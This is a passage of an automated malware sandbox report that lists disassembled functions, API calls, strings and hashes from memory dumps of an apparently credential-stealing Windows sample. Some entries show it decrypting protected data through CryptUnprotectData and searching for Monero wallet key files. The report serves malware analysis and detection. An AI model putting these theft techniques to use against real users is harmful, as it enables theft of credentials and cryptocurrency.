LocalAlloc.KERNEL32(00000040,00000000), ref: 002E9BA3
LocalFree.KERNEL32(?), ref: 002E9BD3

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 6e76929d9d564f97f8ccd86243ed6468064b322ea54642b5d1431c6f0c85502d
Instruction ID: c3cc5fe904fe979ff396aea7a1ac78480c7ba51d289a930c93ca9e678e801a0d
Opcode Fuzzy Hash: 6e76929d9d564f97f8ccd86243ed6468064b322ea54642b5d1431c6f0c85502d
Instruction Fuzzy Hash: A91109B8A0020AEFCB04DF94D985AAEB7B5FF89300F1045A9F815A7350D770AE55CFA1

Function 006AB78E Relevance: 4.1, Strings: 2, Instructions: 1648COMMON

Download Yara Rule

Strings

w'k, xrefs: 006AB96A
usr, xrefs: 006AB8A2

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: usr$w'k
API String ID: 0-1752605985
Opcode ID: a510ef89e07127b16c922a6bda51a5282a82cf7e5a2dba7102da9ddb83ade081
Instruction ID: fc6f518b5d978cbb21f92e5c129436bb55197603188fab55f9527ed9fc545a42
Opcode Fuzzy Hash: a510ef89e07127b16c922a6bda51a5282a82cf7e5a2dba7102da9ddb83ade081
Instruction Fuzzy Hash: 60B217F360C204AFE704AE2DEC8577AB7E9EBD4720F1A853DE6C4C7744EA3558018696

Function 0058BD77 Relevance: 4.0, Strings: 3, Instructions: 256COMMON

Download Yara Rule

Strings

=:^, xrefs: 0058BFC5
"Y, xrefs: 0058C06D
"Y, xrefs: 0058C074

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "Y$"Y$=:^
API String ID: 0-400678772
Opcode ID: 0e5b85ea1259df2d18653c0e9e0dad59baee4a26f0a459a18c6def63808a0788
Instruction ID: 9b849eb0f6cc23d7f9cdcb7fa6835240e728a09ef98d40f06d782fb11e984274
Opcode Fuzzy Hash: 0e5b85ea1259df2d18653c0e9e0dad59baee4a26f0a459a18c6def63808a0788
Instruction Fuzzy Hash: CB714AF3A083045FF3049E19EC8177BB7EAEBD4320F2A853DE98583780E93A5C058656

Function 00661424 Relevance: 4.0, Strings: 3, Instructions: 229COMMON

Download Yara Rule

Strings

2,/v, xrefs: 006616B0
Y`?, xrefs: 00661663
f/:+, xrefs: 00661450

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2,/v$Y`?$f/:+
API String ID: 0-3509502552
Opcode ID: 498fa2f64c52aeba4e9c1e91f417b9a9b2aa22998f2ffdc63649923319429494
Instruction ID: ae89ae8b6953002547fa80fb0e9b7d407a9ac926dea9b5c3dba708c23d4f28b6
Opcode Fuzzy Hash: 498fa2f64c52aeba4e9c1e91f417b9a9b2aa22998f2ffdc63649923319429494
Instruction Fuzzy Hash: B46157B3E082149FE3046E19DC9477AB7D6EBD4720F2B463DDAC867384E9761C058786

Function 002EF68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003015B8,00300D96), ref: 002EF71E
StrCmpCA.SHLWAPI(?,003015BC), ref: 002EF76F
StrCmpCA.SHLWAPI(?,003015C0), ref: 002EF785
FindNextFileA.KERNEL32(000000FF,?), ref: 002EFAB1
FindClose.KERNEL32(000000FF), ref: 002EFAC3

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 6cc9905fa77e7ebc35fc860eccf5b550f15a3c455398264bba9d0f36d044597b
Instruction ID: 22fe3040eb56e23c271384b31ffbde4a9472dcba165ce7c11dd678271125d231
Opcode Fuzzy Hash: 6cc9905fa77e7ebc35fc860eccf5b550f15a3c455398264bba9d0f36d044597b
Instruction Fuzzy Hash: E41175B182014D9BDB14EB60DC569FDB378AF11380F4083B5A61E56092EF702B5ACF92

Function 0063C40F Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

(s, xrefs: 0063C62C

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (s
API String ID: 0-1718856627
Opcode ID: 4051a4d3c38698210f50a853855bb9a22b7a7c7d38d843a7bd0ebea8c06e3cc9
Instruction ID: f801abb4043ec21bf16baf5bbc560e35db3a87825619fcae7b9b7e67c4c52fca
Opcode Fuzzy Hash: 4051a4d3c38698210f50a853855bb9a22b7a7c7d38d843a7bd0ebea8c06e3cc9
Instruction Fuzzy Hash: 037104B3B082049FE708AE2DDC5677AB7E6EBD4320F1A493DE6C5C7384E9755C018686

Function 00605904 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

SQ'7, xrefs: 00605A5C

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: SQ'7
API String ID: 0-4160367805
Opcode ID: f757fc9fc9c415be989effa0e9a34173e20e72ed445af56e0c54123430f2ce54
Instruction ID: 3368fd4340513c083df2845e22d9468c2b764ab24618cbb844c102b39cc4b5d1
Opcode Fuzzy Hash: f757fc9fc9c415be989effa0e9a34173e20e72ed445af56e0c54123430f2ce54
Instruction Fuzzy Hash: 745136F3A086144BE3085E3DDC9532ABBDAEBD4320F2B823EE5D5D3788ED7559014282

Function 0064C6F0 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 619ba80489a8da876afbb0436bb6dead78f34ea8ff17ea7b52a0ad271dcfb675
Instruction ID: 8e9c5b035c580e437b741893f2b16c1f6a414c94c2b6723c2701b42d14c4f82d
Opcode Fuzzy Hash: 619ba80489a8da876afbb0436bb6dead78f34ea8ff17ea7b52a0ad271dcfb675
Instruction Fuzzy Hash: E7713DF3E056105BF3445A3DED4872ABADB9BD4720F2F823CD99893B8CED79590A4181

Function 00551BF5 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c35bf571a6bfb4931bb885bfa1bad91564278118e584eb4c125a69cdab11b3ec
Instruction ID: 6b0e596b78e941055a436b95e944703faccda36d116e98f190da0e3104e1964f
Opcode Fuzzy Hash: c35bf571a6bfb4931bb885bfa1bad91564278118e584eb4c125a69cdab11b3ec
Instruction Fuzzy Hash: B471D7B29083089FE3147F29DC4476AF7E6EB94720F0A893CE6D443784EA396854C687

Function 005D8F91 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 210859aff19b5d716a17995cbd10c641904cfd6aad0ec0057abb3b18ce25bfe1
Instruction ID: d3a769ef61d2091d845cc8ec9b816f34c0adcb44a4e0c7dd803b35c27df608ff
Opcode Fuzzy Hash: 210859aff19b5d716a17995cbd10c641904cfd6aad0ec0057abb3b18ce25bfe1
Instruction Fuzzy Hash: 1C5126F3E082145BF3146E29DCC8766BAD5EB98360F5A863DDAC897784E939580483C6

Function 00577E37 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9c294d8a3966cd4bddff9af22d0aa781e86b298bde6f369e05ecc3d3a757ec
Instruction ID: 5908150663c27c478cd22b468d0d70b671772dd3958f59acc33ebf45149a61c5
Opcode Fuzzy Hash: ad9c294d8a3966cd4bddff9af22d0aa781e86b298bde6f369e05ecc3d3a757ec
Instruction Fuzzy Hash: 6E41D6B36086009FE308AE29DC8577FF7E6EFD4320F26853DE6C483754EA3958418696

Function 00595757 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf8417f9dab2b3de11d3967eb821b7ad85ca6118c8075d729851b90e8ea2e279
Instruction ID: 5b8bb0ca858fb22cb1db936efec4ddc8e5819037c6482dd242baca3c23fecd6d
Opcode Fuzzy Hash: cf8417f9dab2b3de11d3967eb821b7ad85ca6118c8075d729851b90e8ea2e279
Instruction Fuzzy Hash: F941F7F3B145005FF314EE39EC847AAB6D6EBD4310F1A853CEA88C7784F539980A8295

Function 005B90A2 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
